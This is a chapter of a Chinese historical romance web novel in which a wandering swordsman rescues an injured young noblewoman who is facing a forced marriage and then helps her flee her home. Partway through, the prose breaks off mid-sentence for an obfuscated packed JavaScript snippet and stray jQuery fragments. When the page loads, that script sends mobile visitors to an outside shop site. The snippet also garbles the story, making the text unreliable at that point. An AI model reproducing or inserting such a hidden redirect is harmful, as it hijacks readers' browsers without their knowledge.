默认冷灰
24号文字
方正启体

90. 西风烈酒

作者:恬艺桐本书字数:K更新时间:
    见王婉容不说话,那个男子略提高了声量,又些焦急问道:“姑娘,你没事吧?是伤到哪了吗?”


    “我......”王婉容喏喏道,“你把衣服穿好!”


    这时男子才想起,先前林中追猎物,追得热了把衣服给扯开了,他顿时大窘,赶忙掩好衣服,但嘴上仍不忘问道,“你脚没事吧?”


    听到男子再次追问,王婉容才想起,自己的两只脚都伤了,没法靠自个走出去,她抬起头来,打量这男子。


    见他眼神清明,长相憨厚老实,不像是人贩子,王婉容才鼓起勇气道,“我腿崴了,能否帮我雇辆马车?”


    男子像看傻子一样看着她,脸上露出点头疼的神情,“姑娘,这前不着村后不着店,哪来的马车哟,我出去给您找,待会天黑了,回来也不见得您还在原地,保不齐被老虎叼走了未可知。”


    王婉容听他如此说道,顿时脸上起了红晕,但她也不知道该怎么办才能回家。


    男子在说话间已经蹲到地上,在旁边观察起她,见她不说话,还是耐着性子问道,“姑娘,我瞧您这脚是崴了吧?”


    “您会医术?!”


    “医术倒是不会,不过走南闯北,这点小伤还不在话下。”


    那男子是个利索的人,只是抬眼瞧了天色,不由分说地叨念了句,“得罪了。”


    便瞬间捏着自己衣摆,隔着她的袜子,抬起她的脚,用力一扭,只听得“咔哒”一声,王婉容还来不及骂他一句登徒子,便感觉到脚踝处一股奇异的酥麻传来,适才的疼痛好像减轻了。


    她不可置信地扭来扭脚腕,竟然没有阻滞感。


    见她状态尚好,男子轻松道,“还好,没伤到骨头,就是扭错位了。”


    王婉容听他这样说,才明白过来,刚刚他是在做什么,想起自己差点就指责了人家,羞恼爬上了脸颊,春色薄染,顿显俏丽。


    见到王婉容有些不好意思,不像刚刚那么防备,脸上又红云顿生,衬得花一般的女子更显娇丽。


    原本大大咧咧的男子,似乎才想起对面是个娇生惯养的小姑娘,突然感到一阵不好意思起来,那黑乎乎的脸颊,都透出点红。


    他结巴道,你另一只脚疼吗?


    王婉容点点头,并不多语。


    男子询问了她的意见,又如适才那般,隔着衣物帮她把另一只正骨归位。


    一切作闭,才又搀扶着她,想送她去主干道与家人会和。


    虽然是快速给她归位,但按理说伤筋动骨一百天,不能这么早下地走路的,要养养。


    奈何这天也快黑了,林子也深,男子见她避讳也不敢背着她走,自个也存了心思,怕王婉容会逮着他负责任,阻碍了他的自由。


    于是乎,男子将手伸与王婉容借力,陪着她往外走,只有遇到些坡,才告罪一番,举着她上去。


    这山路其实不好走,王婉容先前失魂落魄进来,没有注意,此时出去,处处艰难,加之脚上才刚好,余留一点酸痛,走了一盏茶的功夫,两只脚踝又肿起来了。


    但王婉容未吭一声,只是一直就着男子的速度,往前走。


    这黑脸汉子,瞧她这般,不由得有些正视她。


    他本是浪荡剑客,途经至此,听闻这雨华山深处有那伤人白虎,他才特地来林中瞧瞧,看看能不能替当地村民除害。


    他奔跑至此,见到王婉容这般打扮的大户小姐,本不欲多管闲事,只是天色渐晚,山林多野兽,他蹲了一会,见没人来,姑娘又实在哭得伤心,才从林中现身相询。


    只是没想到,王婉容竟然如此坚毅,打破了他对这些娇滴滴小姐的印象。


    脚刚崴着,就走山路,是什么感觉,他自是知道,原本打算着,如果姑娘实在走不动路了,要她保证不怪罪自己,写个字据什么的,他就背她一程。


    没想到,王婉容竟然自己咬了咬牙,走完全程。


    出了山林,去了主干道,却不见珠儿身影。


    想来,是找不着她,慌忙跑去找人报信了。


    王婉容只得厚着脸皮,问能不能帮她找辆马车,奈何当日是佛诞日,来上香的香客超出往常,把租赁的马车都租完了。


    最终,是男子借了板车,推她下山。


    一路上,王婉容以手帕覆面,不敢示人真容。


    剑客只觉得好笑,这女子说坚韧却又脸皮薄。


    最终,下了山,找着一辆马车,他亲自驾车送她回府。


    待到了家中,父亲见着人了,千谢万谢要留他吃饭,王婉容不知怎地,有些期盼他答应。


    但剑客只是挥了挥手说,此等小事不足挂齿。


    父亲试探道,不知侠士家住何处,好让我略带薄礼上门道谢?


    剑客不甚在意,笑道,不必了,我明日便要离开此处,我不过是个过客,你寻不着我的。


    父亲听他如此说,偷偷松了口气,将人好生送到门外。


    王婉容站在庭院里,瞧着他们俩的身影愈走愈远,直到跨出门槛,显得模糊。


    恍惚间,王婉容感觉此情此景,竟然与那日老师离别时的景象重叠。


    剑客走了,走得潇洒。


    父亲回来,沉着脸色训斥她,你怎么可有如此不小心,远离奴婢,独自进山,若遇歹人岂不名节不保?!好在此人是个旅客,行事光明磊落,亦是用的马车送她回来,不至于叫人嚼舌根,以免耽误好姻缘。


    姨娘亦是在一旁帮腔,是啊,小姐莫要太任性,伤了人事小,失了名节事大。


    听到姻缘二字,王婉容浑身发抖。


    她目视父亲,将朱镇之事抖了个干净。


    没想到,父亲竟然捻须沉吟,没有直接回话。


    王婉容心凉了个彻底,她不可置信地抖着手,举起来指着父亲道,原来你早就知道。


    王父被窥破心思,脸上挂不住,怒道,谁教你如此目无尊长!竟敢质问父亲!我不说自是为你好,你当这样的才子好找?父亲在他身上花了多少心思?他为人机敏,擅钻营,若能考取功名定然前途无量!男子汉大丈夫,有些应酬是难免的,这无甚在意,只需你诞下一子半女,正室之位坐稳了,还有什么需要担心的?


    “只是......”父亲顿了顿,略有些担忧道,“没想到提学官也看中此子,为父还需想办法,尽早让你们俩完婚。”


    说完这句话,父亲便思索着走开,只剩下姨娘在旁边酸道,小姐好福气,莫要不珍惜,未来王家的门楣,可就靠姑爷了。


    她将姑爷二字咬得极重。


    她出身低微,从做侍女开始爬上父亲的床,一举得男,才能得以再母亲之前诞下大哥,只是奈何父亲此人冥顽不灵,对自己的家门有着极高的期望,断不会做宠妾灭妻之事,这么多年都没给她名分,也没让母亲认下哥哥做儿子。


    姨娘心中有气,她如此玲珑心思,自是知道她这样的姑娘,最容不得什么,她偏要用什么来羞辱她。


    怎么能只有她受与人共事一夫之苦,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649536|172104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王婉容就能又做状元夫人,又得一新郎?


    今日,她可算是出了一口恶气。


    王婉容只觉得从后背冷到心窝,从头抖到脚,分不清是因为脚伤了,还是心死了。


    这样的狼窝不止要进,还要快点进,要跑着进,要抢着进。


    若父亲想出妙计,她岂不是要连夜被送到人家的床上?


    王婉容太聪慧,亦是太懂父亲的执念,以父亲的地位和提学官的地位悬殊来讲,除了走偏门,嚷得全天下都知道之外,别无他计。


    她不知道是怎么回到院子里的。


    连带珠儿抱着自己,哭得梨花带雨,她都没反应。


    待她回过神来,已经被珠儿按着散了钗发,换了薄衣裙,在床里卧着休息。


    心中如千钧重担,她睡不着,她想起老师,她想起娘,想起老师口中的海,书里的山。


    王婉容推开房门,赤脚走到院中,她爬上石桌,站在桌上,仰望天上明月。


    家中院墙,似乎也不是很高呢。


    接连重创,王婉容已有些恍惚,她感觉得到,自己已经化作白羽鸟,要逐那天上月。


    她张开手笔,迎风而立,缓缓地往后倒——这就是翱翔的感觉吗?


    预想之中,迎风前进的感觉没到来,潜意识摔烂身躯的感觉也没到来。


    她只觉得,后背又暖又软又结实。


    地面怎么会暖呢?王婉容此时才回过神,大惊失色,转过身。


    才回头,便撞进一双笑意盈盈的眼里,眼里有调笑,亦有不解。


    是他。


    王婉容惊慌失措地推开他,想要站好,奈何她还在桌上,他还在椅子上,这么一推,他站不稳,只得跳到地上,王婉容自己也好不到哪去,亦是受力,脚下一滑,往前扑去。


    她害怕地闭上眼,预想中的疼痛没有袭来,又是跌倒他怀里。


    只是,这回是他把她扶正了,并未占她便宜。


    你想不想离开这里?他问。


    原来,白天他并未走远,而是飞身上树,生怕她父亲会责打她,想确保她没事后再自行离开,于是乎便将她家事听得一干二净。


    其实,世间苦难人多了去了,总归不是他一双赤拳能救得过来的。


    他偷偷退下,离开去酒馆讨酒喝了。


    只是这酒,怎么喝怎么不是滋味。


    他招来伙计,怒问道,这酒怎忒无味道了!


    伙计愕然,拎起来,尝了一口,呛得面红耳赤,频频咳嗽,辩解道,冤枉啊客观,这是本店最烈的酒了!


    最烈的酒?是了!那姑娘性子是烈的,这般受挫,不知道会不会寻短见?


    鬼使神差地,他又回来了,见到......见到她站在桌子上,寻短见?


    他又好气又好笑,上前接住了她。


    罢了,今日爷爷看你顺眼,这桩闲事,他管定了。


    离不离开这里?王婉容讲这句话嚼碎在嘴里,反复品味。


    她不知道。


    但她知道的是,她不能进朱家后宅,她进去了,就会是笼中鸟,会是失了心气,会是老师口中的死人。


    走!王婉容回答得干脆又直接,转头就进屋子里收拾家当。


    这回轮到他傻眼了,这姑娘怎么说走就走呢?他准备好的辩白还没用上呢?如何保障她安全,何时送她回来,也还没告诉她呢?


    纱笼夜色,剑客也不知道自己是怎么离开的,马上怎么突然又多了个姑娘。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)